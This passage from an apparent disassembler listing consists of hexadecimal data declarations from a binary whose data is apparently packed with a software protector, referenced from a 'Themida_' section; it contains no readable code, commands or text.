		dd 116FDF5Eh, 499E80A0h, 3503062h, 6CC5F232h, 3006921Ah
		dd 95D7C43Dh, 37930351h, 0F675DB52h, 0EB151018h, 0DE5E6DF1h
		dd 0F952D861h, 61CD19DBh, 3BF0A115h, 3D7EC3h, 0E2E16EC4h
		dd 99B99B09h, 0D1F9CA4h, 8F01E814h, 0D1286B7Bh,	0B042CFC1h
		dd 9CE002A3h, 34650200h, 0EEC500C3h, 0E5F7D0DEh, 70CFE3B5h
		dd 0F946F08h, 5B1158FAh, 4492F08Dh, 30C4A6E2h, 0BB4DE00Ah
		dd 7220FE10h, 0CA407194h, 8C841870h, 20109808h,	0D5834084h
		dd 23DE91C0h, 0FC8D571Ah, 0CE49C0B8h, 445F622h,	419E970Ch
		dd 29B481D0h, 4987328h,	9708AFA4h, 0F468E054h, 80009421h
		dd 0D15CA56Eh, 6223A1Eh, 59DFA4F0h, 880728E1h, 9128A775h
		dd 40BCAF52h, 7B2386Ch,	9D46242Ch, 83DBC267h, 3EF00C9Bh
		dd 0D301AC61h, 877B998Dh, 1CC44019h, 0A5A6011Bh, 36867C2h
		dd 0CC404022h, 8490919Ch, 31AF1101h, 0B4440755h, 88742820h
		dd 1E00DFD8h, 575223A5h, 50B20726h, 6EF860h, 943047E0h
		dd 0C97B8E98h, 5250E97Bh, 0E490F4FCh, 0B57F40C0h, 60B80F57h
		dd 0CF6EB0BDh, 0E8CFC121h, 0B211E1D8h, 8886E2E0h, 405FF509h
		dd 17D04700h, 277B8573h, 0AE3E1FC1h, 0DC6100F7h, 4431A5EBh
		dd 6C7F8C02h, 409DEC1Bh
		dd 240588E0h, 2050285Dh, 0C8A654F8h, 2CEF1D44h,	3F3B5FA7h
		dd 1849ED12h, 515E58ECh, 0EC140A40h, 91E083A3h,	18C02BE4h
		dd 0C5359F23h, 0B0F21C7Eh, 77DDC29Eh, 8880B81Ch, 6B4A7891h
		dd 9F39A8A0h, 3C85BC00h, 8A35A71Ah, 7E9D00C6h, 0BE637C81h
		dd 0FC00FB62h, 57D5F209h, 0FC77D85Dh, 1049C2F9h, 860F6D14h
		dd 9119E827h, 0C5ACA84Ch, 208ECCB0h, 6C27384h, 30921680h
		dd 0D2306F63h, 8500E6DBh, 6BBBA466h, 0C42550B5h, 2757D3F8h
		dd 0D1202BE4h, 0D08806C6h, 22008755h, 632D77DEh, 80878828h
		dd 39896A1Dh, 0B7F44CC2h, 0DA09171Dh, 0BFD88274h, 6F91002Bh
		dd 0AF146BE5h, 0F869F3h, 17DDCB4h, 14BF9E22h, 0E4EC8036h
		dd 42623B03h, 238819E4h, 0E600BD97h, 0C8011FDFh, 1869BF75h
		dd 2015173Ah, 0BA072EBEh, 0B85F7C4Bh, 73CA05BFh, 0E1C42037h
		dd 0D55B7160h, 32E8A81Ch, 391BA40Eh, 3DCC8C38h,	15D41E3Eh
		dd 60225BB9h, 6FF275E0h, 352D51C0h, 0FDCB1CECh,	0E0380FD3h
		dd 0C05EEE17h, 1F9AA28Ah, 38032D94h, 45C3E7C9h,	0C26AE0EDh
		dd 0B58E0301h, 97DC354Bh, 6488E4C0h, 3C814200h,	0FD9EF398h
		dd 0CA4E3462h, 0FFCC0758h, 0CBB87C0Ah, 90FCC55Ah, 0B205101h
		dd 0A408C254h, 0D007F228h, 9C05060h, 0C72F65A4h, 73E8A999h
		dd 68F663D2h, 8717833Bh, 0AC8A70CEh, 87E703EFh,	98A000B8h
		dd 62F1CA33h, 40C1C9D7h, 0FBC4BE80h, 21F87081h,	0FC32F395h
		dd 301F6B1Fh, 5F0047DAh, 572C4F62h, 0A0097A19h,	80CAB2BCh
		dd 6C0137C5h, 17051A91h, 0D88741B5h, 4A6FDB80h,	99D10448h
		dd 0A7AF2376h, 819603C8h, 0C8741CB9h, 0E8034A33h, 3451C284h
		dd 0A876F78h, 0C09F69h,	4B91BB2Bh, 0DE3117FFh, 0ADA3684Fh
		dd 8EF5B850h, 0B02D078Ch, 9085C4D9h, 1A5A1204h,	0E9AC7403h
		dd 0B881F59Ah, 7A57239h, 9F4A8C65h, 0ECC700A1h,	350CD0B9h
		dd 50B01D94h, 0F5A30E95h, 581ADDAh, 86BE0375h, 39C11C18h
		dd 1D477EB9h, 13347B70h, 7DA8009Bh, 5D4D4415h, 99C092B0h
		dd 8D3EFB9Ah, 0C4A400FDh, 0BC6E885Ah, 5801834Dh, 96819BA0h
		dd 69917433h, 3DAE0016h, 817A5F86h, 24FC0028h, 11ED9A6Eh
		dd 4F484159h, 0FEA20264h, 2FC6CC1Ch, 0A4A13283h, 0F67E7900h
		dd 5A6CDC8Eh, 0A5DD0007h, 0CC3E33BAh, 989287A0h, 804718A1h
		dd 5679E31h, 3069FD80h,	0C0891C15h, 65001D07h, 532E3FA1h
		dd 16CFD87h, 806B858Fh,	24E6A3ABh, 0C80F8438h, 0A0C40F60h
		dd 9A93FBC5h, 96C60387h, 0AADE7ED4h, 71E7C2B0h,	80502D3Dh
		dd 4B27A5E9h, 5F1CF77h,	0CB40B557h, 8206809Fh, 550B5DB2h
		dd 786796Fh, 0FBC0361Ch, 3CDB53B9h, 7CF7C7h, 0BFE45083h
		dd 48D06514h, 19E84300h, 44A9E1AAh, 99ECC6h, 80469B70h
		dd 0B426D28Eh, 0F95A9801h, 3BE8F639h, 1DAD6830h, 0C0BFF518h
		dd 0CE050F1Bh, 5F00CBFFh, 3FDC7052h, 0F77269h, 6C36C79Ch
		dd 32CBE08h, 0C4E8BC00h, 1D4405D5h, 0C8C90043h,	11A740C1h
		dd 0E3018D90h, 5AC2E0ECh, 16E44765h, 20C00089h,	64AA4179h
		dd 45004E01h, 8FC90C80h, 71B315B2h, 8902CA8h, 1A51EAFh
		dd 4DDF48FFh, 7EC4706Dh, 0FAE057E6h, 0F606CB0Ah, 55009DAFh
		dd 2F93C58h, 3D2003E4h,	6D990FD8h, 71F0DBC0h, 0BDA0AA00h
		dd 585DFDD7h, 1A790Ah, 0C0536B6Ch, 1CD0432Eh, 2F3F9B00h
		dd 0A6A7FB03h, 0F81E1D13h, 0C7A240D3h, 1D8059CAh, 0B08F2301h
		dd 0C60AF788h, 7E0FF2C4h, 0BE000A4h, 2D53F51Eh,	8A0FFC5Ah
		dd 80870A4Eh, 48DC186Eh, 0DAEB0714h, 60C73CF0h,	6DD523F1h
		dd 0FFE81F1Dh, 0A5B7007Eh, 7FBA259Dh, 8D8606DBh, 0D1CC4538h
		dd 0B8B14B00h, 64129ED2h, 1F110236h, 9C80F227h,	0BFE4E0D7h
		dd 90FF008Bh, 6E7A9E03h, 0E0767132h, 0B457E200h, 2921BC13h
		dd 2A8200BFh, 17B92246h, 9D3BA741h, 80073DA5h, 0CF871B4Eh
		dd 29BF5h, 5E1F4A8Bh, 0CE62A8B1h, 0FE636C3Eh, 39001675h
		dd 0F13D042Dh, 0C73298h, 8D82B31Bh, 2E270F06h, 3500C1EEh
		dd 0A1FBF222h, 0B1132Dh, 68C004E4h, 1B64219Bh, 9900F770h
		dd 971EC2B7h, 0E19EA4h,	0DB485738h, 6F37E8B5h, 0D9F1600h
		dd 0F15189C9h, 0C41F03B0h, 76967DABh, 8C041F2h,	0BFB0BD99h
		dd 0B32FAA01h, 0F3560B30h, 1B0DECh, 32D25377h, 0C75DA444h
		dd 0E39E6C00h, 0B1942954h, 65863CB6h, 0A406CA00h, 1DCBE9FBh
		dd 407DB3Ch, 0FF99F195h, 0EE75ACC0h, 0BC98033Ah, 70811D29h
		dd 41F21000h, 0D4735D91h, 0EB1000FDh, 4ED7FACCh, 8100AEA9h
		dd 7C4D9FB0h, 1184F3h, 2F89F6ACh, 0D42A8CD3h, 0CEA83400h
		dd 0CA7F87E3h, 9AAC1C43h, 0DD1FC03Fh, 371D50Dh,	200C771h
		dd 673B726Eh, 8040D1h, 6CC21587h, 9007DAB1h, 48F1E348h
		dd 0D2050061h, 0F05F8866h, 1A8600CCh, 0ED4AB51Fh, 7500D3E4h
		dd 98614FE8h, 0DEFA7h, 0AE04600Ch, 0E7AD22B4h, 734ED409h
		dd 54F18327h, 1EF319h, 0C03FC266h, 0C43E6239h, 0B8EF0618h
		dd 0E26724C1h, 5DDE3A80h, 9938A181h, 433B6405h,	0C80C180h
		dd 81FB741h, 0E8103A0h,	0F87FCE44h, 0A3948882h,	30E0E31Dh
		dd 0F600CB93h, 0D7FB73ADh, 0C33A005h, 0FAAA3E4Ch, 921415E9h
		dd 0ACBE59h, 0EC98CE5Fh, 78ADFBh, 90360D01h, 0C8F84DF9h
		dd 42B8E700h, 2654CCEAh, 6A5D00F1h, 0FE2B8C1Bh,	0E07EC94h
		dd 76693753h, 86F2CD20h, 0DEE20038h, 0DF3B626Fh, 0CE03038Ah
		dd 42C7C5A0h, 0AB968061h, 918C00D0h, 0C317F354h, 0A9006E6Fh
		dd 595E28E0h, 6BB0E8h, 66E71FEBh, 0F7A67635h, 0C5CFD700h
		dd 8263DDA8h, 8E5300ACh, 43FD85EFh, 6D030EE1h, 0E07EA3E9h
		dd 0B40FC00Ah, 3FECD3h,	0F3526310h, 206C88B9h, 2FC62900h
		dd 9837F987h, 7D10E270h, 7E82B02Eh, 93DC0168h, 904FD49h
		dd 309EE836h, 0E02E6B00h, 4C1B7F8Ch, 0D4760006h, 0D9E1856Ah
		dd 0AC3FFDEEh, 0A27980F8h, 11123C0Fh, 1F51EC7h,	5CB7C0CEh
		dd 0ED0D6DA7h, 4CBA2300h, 8A7E830Ah, 0D7A45CD1h, 31D84400h
		dd 6A519CF9h, 77FF0100h, 0E449BDDBh, 87380060h,	178AE181h
		dd 243E5062h, 0E0D60091h, 0F32DABEh, 0B2E4A9h, 0A755C8Bh
		dd 0CCF1A897h, 4705C0E0h, 3F64DEAAh, 52B37CC0h,	85870561h
		dd 80C3536Ch, 963D60BFh, 1B0036F6h, 0A57358B8h,	14EE490h
		dd 0CD1A5EA7h, 0EBA2C13Fh, 84C88FC0h, 7535F500h, 0A112869Bh
		dd 1570E90Ch, 0CF3E001Eh, 2EACEEB3h, 5600A2C6h,	0DC10C41Dh
		dd 6EF0286Ah, 0F28780C8h, 9577E382h, 0BCAE8498h, 54151F00h
		dd 68A03A31h, 0E27835h,	532DCCC3h, 387601BAh, 859D5600h
		dd 0E5098F8Bh, 0E19B07C6h, 90DF7812h, 51FC22BAh, 242EF700h
		dd 0B5991F79h, 4076040Bh, 0C0A2335Fh, 7F4ADC78h, 119D6B00h
		dd 0C088E27Bh, 3DAC14CFh, 953C307Eh, 39309980h,	58800C3Ah
		dd 2198E901h, 0FDB4F81h, 12349C41h, 67D54EF0h, 808A1148h
		dd 5F13A446h, 35D98C01h, 3078B163h, 0FB47F0h, 43E70851h
		dd 98BED4DDh, 9CA88C2Ch, 117B803Eh, 9BBA2199h, 0F2D1079Eh
		dd 26027943h, 6C39905Ah, 2BC48049h, 10ED0536h, 7781FCE2h
		dd 7C220019h, 31B51ABFh, 4905DE0Dh, 8A3A2B84h, 8562020h
		dd 0D4830D20h, 0F3B08159h, 0EBF323F0h, 8FE48500h, 0F6E76137h
		dd 76463F40h, 9F845800h, 0F74D5155h, 64207900h,	568DBAC0h
		dd 14B1002Ah, 764A22F3h, 2DF613E6h, 0DCCC8A00h,	3ACFB8CEh
		dd 8154009Eh, 0E48C0F9h, 0C400F675h, 6106642Dh,	0EC11FBh
		dd 8E2221B6h, 85CEE38h
		dd 802A233Bh, 8D83CC3Bh, 0E1E30h, 0FB5253EFh, 100CB170h
		dd 0DF178600h, 0E6FFC6C1h, 59AD02EEh, 786715D6h, 0ABC0EC63h
		dd 9000ABAh, 0F8C3E1D1h, 5B7D65h, 18BD43A4h, 2FAD7162h
		dd 54983100h, 5A996FA7h, 9457503Fh, 0BD6800A2h,	17BEB702h
		dd 0F1008AD6h, 88D7229Ch, 2E667177h, 14FC279h, 0A72B3AE6h
		dd 0B115F49Eh, 0C811CE00h, 0B4E86846h, 0E2AE03E4h, 6D6E3B26h
		dd 57C256A0h, 831CEB00h, 681FB575h, 0DDA41DF2h,	31DC8027h
		dd 9C2067D8h, 0A50075EAh, 2A61C9E1h, 2F11284h, 0ED1D9B6Bh
		dd 88C022FAh, 0B20041C7h, 33A86ADFh, 4D3B19Dh, 0DDAA5B8h
		dd 0AAA7C05Bh, 0C30FBB48h, 206C8E75h, 0D8FF28DCh, 851E0046h
		dd 531D7A7Ch, 94759E1Ch, 8B6E3100h, 871560B1h, 0E3021F75h
		dd 5D2800D0h, 0C154C576h, 0B3246100h, 0ACC8706h, 795A0036h
		dd 0B6E1C0DAh, 0B203E314h, 3ABFEBEDh, 8278F03Ch, 5E0500D4h
		dd 9D714373h, 0F67AAA59h, 4A9ABB00h, 850F46C6h,	19C41865h
		dd 0FA8328E9h, 7EE5D61Fh, 6100139Ch, 670D9D29h,	0D0F85441h
		dd 0B3FF070Ah, 941438BBh, 7554C0B9h, 30E4A74h, 425FAFCh
		dd 7090823Dh, 2E881FB6h, 0BA1A2CDh, 8C00BEE3h, 0CB341E9Fh
		dd 200FD72h, 6080FBB4h,	151CC8Ch, 0BC4823BAh, 0D84CD050h
		dd 11003B04h, 105EBD58h, 0ABDD7Bh, 911E6429h, 9708823Fh
		dd 44AE660Eh, 0EFF6C1E3h, 9980654Ah, 0A37855CEh, 900FDB17h
		dd 0A73F7ACCh, 7F215610h, 0D660C7D8h, 0FB3B0047h, 8F395533h
		dd 5117B1CFh, 16AC7431h, 5EC1F21Fh, 0C0FB1E3Bh,	0E144661Eh
		dd 2413522Ah, 211D1A58h, 0F06DDDCCh, 9132007Ah,	0BAFEEA5h
		dd 6A1C4154h, 0A9C0DA66h, 0C772C24Ch, 3AC60055h, 89518C74h
		dd 7E759C07h, 936FBC00h, 0EAF1859Eh, 1FA4A0F8h,	0D059C0F4h
		dd 9CCE9280h, 1CC11A00h, 0D808BB3Ah, 59F2C86h, 0C859009Ah
		dd 1B4ADAFEh, 0B5A0E6FEh, 670084D8h, 9CADEA52h,	0F58E5Bh
		dd 3AA5E147h, 22CF422Fh, 9400C7F8h, 0CD861FF2h,	0B854F90Dh
		dd 881C00ECh, 0D3F1BD04h, 0D6006242h, 945A7E16h, 48241B18h
		dd 0C00234B1h, 0BA2E81DEh, 328FB880h, 10F23877h, 7520B060h
		dd 1F2A25h, 6366A62Fh, 1513B5EAh, 54452E13h, 801D8C47h
		dd 0AE5BAD90h, 0A0BB0FB8h, 3AE01C9Ch, 65B017EAh, 33FFC200h
		dd 68242B53h, 0E6A400DEh, 69DAD13Dh, 9300C791h,	8C7317F0h
		dd 14D01EF7h, 8F5548E5h, 7C3A4200h, 0A6F2A15Bh,	306F8800h
		dd 0ED9739BCh, 0DE8C00B9h, 73AB5832h, 5D00B607h, 3806E77Eh
		dd 3E01F1h, 48C1D01Ah, 8BCAC630h, 41623C00h, 0CF0A1E50h
		dd 39270058h, 42EE81A2h, 6400C869h, 0FA2D5736h,	0B5E784h
		dd 0B9B7878Ah, 5EBB55A0h, 0B8BE440Bh, 200FDC3h,	998B20CDh
		dd 24C9C00h, 0F1AA2D1Eh
		db 89h,	0
word_53335A	dw 272Bh		; DATA XREF: Themida_:0055FA7Fo
		dd 0D823CC19h, 0B903A87Eh, 0F2FB79ECh, 0CD0BE8D2h, 3B492C90h
		dd 0AE80094h, 8E65E0C9h, 0C3181900h, 606D3521h,	8C7E04E7h
		dd 80CE827Ah, 0B5492C9Ch, 399FC500h, 0F2EBC404h, 0B3B05B9h
		dd 7138651h, 20F682C0h,	0D7DD2D77h, 11CFF902h, 8003F126h
		dd 62B6F598h, 61DB3EB1h, 234E5100h, 95AB1779h, 92CD293Bh
		dd 58402B05h, 0E278258Fh, 4A441363h, 4AC0077h, 2602A05Bh
		dd 10706Eh, 0B665ECC4h,	74CBF85Ch, 13F40256h, 0E5E3FBF9h
		dd 0C9E83C4Bh, 0EB309A9Bh, 538510D0h, 0BAB47050h, 8E810314h
		dd 104C8670h, 3C484DEAh, 82009B78h, 76144138h, 7A0D534h
		dd 0A9CCD2A2h, 0FD615070h, 4EE8DACEh, 7BEE0200h, 0F7B40E55h
		dd 66BF0304h, 0B9D38B35h, 0AE7C4C17h, 0FC9FE800h, 14CBAE6h
		dd 0BDDECD46h, 60D4A22Ch, 1300EE11h, 29EF5979h,	451A23h
		dd 0BE060D5Fh, 0AD634D8Eh, 0A9055301h, 0D717975Ch, 1ECBBCCh
		dd 41511236h, 0B96388C9h, 80AF0021h, 65975B44h,	4C3E03D4h
		dd 526D74F2h, 29FB30F0h, 4569DF00h, 260A7332h, 0D3A000F6h
		dd 92AF7487h, 2D0080B2h, 0C32F113Ch, 0BC894Ch, 24A8F6F7h
		dd 0E45F4269h, 0D431AF02h, 0C3AC3CE5h, 2E70E83Bh, 0C6080089h
		dd 0DDF6D9B5h, 7A079B56h, 0CFB1038Fh, 0BD22D640h, 0D0C1042Bh
		dd 0C1D36EC0h, 0F287F1BFh, 4C839D42h, 4C9AB01h,	0E8D0F0A2h
		dd 66BAB300h, 41DB3BB7h, 5880B05Dh, 1B25ABBCh, 9AFE7820h
		dd 0C87E2816h, 0F7C3940Ah, 8001F4DBh, 0B88E0846h, 0DCCEC240h
		dd 11F118BEh, 56E3D8A7h, 0F30EFF00h, 16CD01BBh,	90AF8C8h
		dd 401CEDC1h, 14EA6600h, 20088CEh, 2973B928h, 1C66079h
		dd 0B0AA629Ah, 0C4F509E0h, 0DAE0B1E5h, 0E2A18200h, 32D7C808h
		dd 4B30156h, 2D614075h,	0CB27F051h, 754748h, 2C630270h
		dd 0E854212Ah, 0DD8300F7h, 19A0C82Bh, 44098436h, 41992F08h
		dd 1C6028F0h, 0C04501FFh, 6A3863Eh, 3365F4E7h, 12D9D217h
		dd 3800F61Ch, 0C12F02A2h, 0BB8B004Eh, 0F43187F2h, 3A01BDB7h
		dd 0E4E95E8Ah, 0E4CF5A9Ah, 29FA8081h, 330155F4h, 611057EBh
		dd 4D54C1C5h, 62404058h, 0AD783B5Dh, 0AC812100h, 0FAE52011h
		dd 76461E47h, 214AFC12h, 0C279F37Ch, 4AAEC01h, 785E820h
		dd 0D7E094BFh, 0E19C37C7h, 84E3CCBAh, 842B3411h, 408070A0h
		dd 0F98EDDAh, 77F4D509h, 84784B99h, 0C01E34C3h,	1FDB0258h
		dd 3C8078h, 13BC1BC8h, 2809B449h, 48773743h, 0C23880h
		dd 2641740Eh, 639BBF90h, 0DE7059E4h, 92D3B300h,	0E0613C75h
		dd 0F9510091h, 0C1D82894h, 7C268FA5h, 0BE3D85D2h, 0EDC58083h
		dd 1380C9ECh, 2BDB1F66h, 0ADEB007Fh, 0FB9B0F81h, 757CAB74h
		dd 15369107h, 3A2063F4h, 0E89688h, 60143F3Bh, 6725DF8Fh
		dd 0AE983100h, 5AB281F1h, 945850C9h, 0E34B0042h, 719ED722h
		dd 0D01D2873h, 6880C3FCh, 0D9079552h, 0A8E400DDh, 41C91AC6h
		dd 0B279EB81h, 571AE00h, 48CA4764h, 0C08E0075h,	0D70FB5B7h
		dd 22775118h, 3E328B02h, 40B37607h, 0D5038Ch, 27A9B5F0h
		dd 95BB445Dh, 0E0FCA21Dh, 35EF0F80h, 0B4C39Dh, 666C43C5h
		dd 9F6D3E2Ch, 7D4D3600h, 0CB605AD0h, 85F93CFFh,	1B19BE0Eh
		dd 0BF4C116Ch, 0C039FA0h, 0CEF7B700h, 501F18BDh, 96F3F8Dh
		dd 946924F4h, 0D7F8007Ch, 0D89757FEh, 3AF02D0Fh, 8B2EDD29h
		dd 15789302h, 0FCF640D3h, 0DB0C00D2h, 0A1EA9597h, 92070458h
		dd 2AD3CA7Bh, 0C47481Ch, 0E8D46A21h, 0A70125E0h, 52B43396h
		dd 1C6048BFh, 1FFE0CE3h, 6B11E7C3h, 0F9E43101h,	3DDD8C91h
		dd 293730h, 0D8C59925h,	39E68FFAh, 8E955407h, 9814706h
		dd 6828D37Fh, 0B1444F03h, 14A827C4h, 0C91646C8h, 2440A898h
		dd 0EF95754Bh, 0BDDD0078h, 835C749Ah, 9B71A9FFh, 0F3B46018h
		dd 40775150h, 1B019553h, 0D257A7C8h, 0A47002FDh, 0AFE5Eh
		dd 0E4DFC6Ch, 7C14B6E0h, 0ED21D700h, 74821786h,	0E7E22C47h
		dd 0C2290A58h, 810C0084h, 0A8FAFC8Ch, 443BB801h, 8B9EDD1Eh
		dd 0E389F4h, 263E78A9h,	0EC54D7FEh, 0CA992300h,	42434FABh
		dd 98B1E08Dh, 0A353011Ch, 0CD8F16F3h, 0F81C24CBh, 0A815D400h
		dd 0ACF6BEAFh, 85C90B32h, 6C20B8A2h, 62809D76h,	69382703h
		dd 0D5B4CAh, 37723238h,	7359437Fh, 9A0314E4h, 1F7169F1h
		dd 4530A065h, 526EC22h,	49DC4888h, 7661C011h, 0F1767060h
		dd 0D841DF00h, 0E4F5644Bh, 3AB4007Fh, 0C0AF097h, 19008DCDh
		dd 0BD5AB08Eh, 19E2EC7h, 0E59CF73h, 3BD14A5Dh, 0ABD0A0h
		dd 0F4AF2D56h, 0C35EE6F2h, 0A7172900h, 46418940h, 0D3900069h
		dd 48432CBAh, 6400C187h, 1EF088DAh, 76C2C3C9h, 0E703000Ch
		dd 8DC878A1h, 5807B48Eh, 5505923Dh, 939068C0h, 4EB231ACh
		dd 0F91D6190h, 1177ECEAh, 3502F6B0h, 0B7CD40D2h, 0FA23C08Ah
		dd 2DA90023h, 0BA4225C2h, 700B515h, 3D6C28A4h, 0A895CCh
		dd 635F7C50h, 64DA696Eh, 34F7DB00h, 0EE4C438Ch,	1F26B06Dh
		dd 0CD51A21h, 5BC9023Ah, 67458B06h, 3A106EDBh, 598BC501h
		dd 0FBA529A4h, 1D8C40F4h, 0C8157247h, 1105700h,	530590A5h
		dd 0D9AA07E1h, 0E0C208BBh, 7A035FB1h, 0F1000A75h, 0FD385509h
		dd 0F6727Dh, 1B9F47D0h,	10A19120h, 71620D00h, 0D1D48F92h
		dd 0CB400AFh, 0A925546Eh, 0D65A449Ch, 0D300CAACh, 0B8FD8FD5h
		dd 63038609h, 0CE1B1083h, 5C6BF0D1h, 57AA00FFh,	8B6E7E20h
		dd 0E1C903Bh, 2B80BCBBh, 0F84B5055h, 585B002Fh,	787EF44Eh
		dd 9001D0A1h, 7C6E8014h, 0E9C80B8Dh, 0F83F1F91h, 0CE4A805Ah
		dd 0DBEB7A04h, 81318400h, 3E459672h, 68550070h,	8F79821Eh
		dd 32025FF7h, 8609A16h,	74F260DFh, 8DEA01DBh, 4A4ED4BFh
		dd 0BACAE826h, 167898F4h, 0C4A93A05h, 0CCC2EE72h, 4D95E08Bh
		dd 0D96D0036h, 0F422354Bh, 2800E8B5h, 0BA3201B6h, 2CC4B7h
		dd 72759DCBh, 8DA543E0h, 1C9E7B0Fh, 0A834C0F1h,	71417F0h
		dd 0B950FFBAh, 1053A0C0h, 1900E74Dh, 30706C0Bh,	18A745DCh
		dd 60E579E0h, 0E607AAA0h, 46CD094Ah, 0F39336E0h, 14500043h
		dd 62D7BEE7h, 0A201B522h, 0B8EB03DDh, 0B1D008ADh, 5DBD002Ch
		dd 7EFEAF76h, 0BB004DC5h, 8AAB795Eh, 98C28868h,	0EB66183Bh
		dd 572330AFh, 75E93Ch, 0CD934BAAh, 0F0489EDh, 987032B0h
		dd 4418AB8Ch, 0EA0C8072h, 88E64721h, 9FD8BDFBh,	0E4E8F8E6h
		dd 4FD7E801h, 0EE88E5DDh, 20FE8h, 97FF508Dh, 1DC5EA0Bh
		dd 0CBFC8560h, 4F14FBh,	5CF01A04h, 334E0C96h, 0C43E8400h
		dd 751DFD1Eh, 8D7D03DFh, 0F36BD480h, 1000DDD3h,	0CC8E8204h
		dd 1E913840h, 73CE155h,	504156F1h, 0FBDFB50h, 891D0D7Bh
		dd 0B482E078h, 4083A265h, 74FBAD14h, 0DB7D0051h, 79FEC5CAh
		dd 66033E08h, 46C42E83h, 7E51C17Bh, 0F634BEF4h,	0BCE668h
		dd 0F8072BC8h, 0CE0D8211h, 8ED0960Bh, 50B800EEh, 58290653h
		dd 0A503927Eh, 0DDA786C3h, 4D349800h, 0A84A3A94h, 80EF1649h
		dd 660900B6h, 0CBD089E6h, 41F26F0Fh, 977CC0A4h,	2C1486h
		dd 6B059C8Bh, 515D6C1Bh, 467DC900h, 0F5A263EFh,	0AD6A02B1h
		dd 0E7155F55h, 0A772ED81h, 0E181CCD6h, 44526F00h, 0E5D80302h
		dd 75731E15h, 40621EC2h, 58964F54h, 0F600F848h,	0D114535Dh
		dd 66BB5h, 3F343CA0h, 1E1862E0h, 57443Ah, 20AC33F0h, 60ED2BE2h
		dd 0F552036h, 0B7DB6BAh, 39E45E0Eh, 0E7CDA13Dh,	4204776h
		dd 0AADF2A28h, 0CE2B1184h, 93BB0089h, 0B76B2296h, 0A52F0187h
		dd 9A402BD0h
		dd 28807B08h, 0E0FDF53h, 47E6FDC9h, 0FE50C300h,	7B006D77h
		dd 80B38F34h, 7CDFA42Ch, 92F20FF1h, 0B62C2E32h,	8928AB78h
		dd 510E80B3h, 83945079h, 7A3A225Dh, 0C04DE20h, 74113CAFh
		dd 0E1F32CC7h, 2E50DA0h, 54C80233h, 2882D89Ah, 70377D60h
		dd 0A8268C00h, 7A86F2E9h, 0A0D43068h, 0CFD12BE9h, 0D0B2A90Fh
		dd 0E15818EFh, 0BF311951h, 0D920EBh, 2ED04Ah, 0BA9711EDh
		dd 0A837ADE9h, 0AE0F8DB0h, 4029078Fh, 0C22B3FCCh, 0EFF369h
		dd 0EF223161h, 87D15AAFh, 8AE85FF0h, 0B3F2AA10h, 0E3CFB600h
		dd 3AE49B3Fh, 0EA64F503h, 0BC3BF761h, 9A47A1C0h, 1A60004Dh
		dd 0B12EAD82h, 891CEAF3h, 0A740FBB7h, 4D9358CAh, 4C070061h
		dd 765E6E95h, 0BE03B72Eh, 3CFD5FE4h, 1AD2F0ABh,	0E5E23EA6h
		dd 1CA4EC0Eh, 51A01EE0h, 7A3BE371h, 98C203A3h, 0C86123FDh
		dd 734DE667h, 4A210774h, 20ABB146h, 7B07C692h, 0EF00A7B0h
		dd 6C6A8268h, 0BE5DB4h,	0F50ED5D9h, 0E8F1ABC4h,	0FF9D7A00h
		dd 0FD6C29AFh, 4C20C444h, 5290C07Eh, 732A79B6h,	480EFC2Bh
		dd 408AF214h, 0A9EFD11Bh, 7D08CD72h, 0E0AE4721h, 6C2AC148h
		dd 5C4A501Fh, 33AD13C0h, 0CE2F82BAh, 340F2829h,	0E5CBF580h
		dd 79CFF11Dh, 0B8B66A77h, 0BB2A8180h, 30B83EB5h, 6CC85D7Ah
		dd 0B4106BC0h, 0A0604E15h, 6341BCB1h, 0F300DE78h, 0C9DCC8F7h
		dd 3CDD87B4h, 0EC0F5F39h, 704013B8h, 5E248860h,	2F053177h
		dd 45509555h, 8C72A2C0h, 0B4CD014Fh, 46BC9914h,	6841C0DAh
		dd 7A95B200h, 19D9C343h, 0E485026Ch, 6D0A9DDEh,	682639E0h
		dd 6BC53A16h, 6193C901h, 0A7405C9Ch, 7D65B4Fh, 0E43879F1h
		dd 910EC0F5h, 0CD790B08h, 64036777h, 1B4F3124h,	0D82911CFh
		dd 0FEF11FAh, 5A086221h, 0FB3C88DEh, 0CEC3D784h, 444F7608h
		dd 1004F0F6h, 772200F8h, 74D519h, 4163EAB4h, 97F579F4h
		dd 3200400h, 95F066E3h,	875500C2h, 170527CEh, 64036DA4h
		dd 714331E4h, 808C9A9Eh, 0BD2BF1E3h, 0AAB0130h,	0FC8E2AD0h
		dd 0D7C84039h, 4C00FA75h, 81DFB172h, 78F645h, 8FA9B3E1h
		dd 4E745080h, 1801F976h, 31C0EFD6h, 40D819DEh, 2AC71D1Eh
		dd 0D17C10Eh, 0E8CABCD0h, 8E00FAD5h, 6AEDF7E3h,	0FA16BE73h
		dd 7910035Bh, 0CE55ACCCh, 8F60E7F0h, 0FD05987Ah, 621FC8D2h
		dd 0B5273F80h, 741A3818h, 3B0CDE00h, 84CDEA8Fh,	0DF00A1EAh
		dd 8162F4B4h, 5C80B46h,	6DF3826Fh, 0AA5AC009h, 31077150h
		dd 0C54D96E6h, 0D5E86900h, 19F60B91h, 0AF8079A8h, 4C97E73Ah
		dd 78820501h, 0C0EAB718h, 2A1DFD4h, 2CAD8ACFh, 0B7E05EAFh
		dd 7700E85Fh, 0EF7DBB26h, 1EFFF0FAh, 0C268716Fh, 308135DEh
		dd 374827C0h, 18979303h, 0C0A3E0C5h, 22965BCh, 0E604E7E8h
		dd 42606E05h, 4B3C017Ah, 0D15E003Ah, 4D56AF97h,	0FBE50385h
		dd 1AA43F4Ah, 0DF7F698h, 96B85303h, 0E85212BEh,	0EF9869h
		dd 1E56992Bh, 1FF36F63h, 0A9AF2900h, 309AC2DAh,	365100F6h
		dd 958431EDh, 0B41E25F3h, 468B17A1h, 8B440108h,	29D06CA7h
		dd 59573A10h, 0E3B0F807h, 961D30A2h, 0D70093A8h, 0B1E8CA0Fh
		dd 6CF39Fh, 5D100C75h, 509C64CCh, 7FC2A0C0h, 0DBC4D3h
		dd 537068C0h, 9A5BF179h, 0FC8BC903h, 0A00FAD38h, 7EF9308h
		dd 822A2796h, 55B42146h, 9D4A9478h, 0DD03269Ch,	0A1420900h
		dd 7FF8035h, 0F90D8317h, 0B47B71C6h, 0D410F55Ah, 4C002BD2h
		dd 0ACDDF2C4h, 0DB5E0Bh, 52359CC7h, 0BC41AD3Dh,	0E081CC03h
		dd 0F0772F12h, 3F587A37h, 8D2E409Fh, 0ECA4147Ah, 1600C63Ah
		dd 0F0E19AE4h, 330055B5h, 0C3BAA9B6h, 7EB1391h,	0CB234D15h
		dd 0AABC103Bh, 73000CC2h, 0FD911A0h, 0ABA44Bh, 0B5F1C1D6h
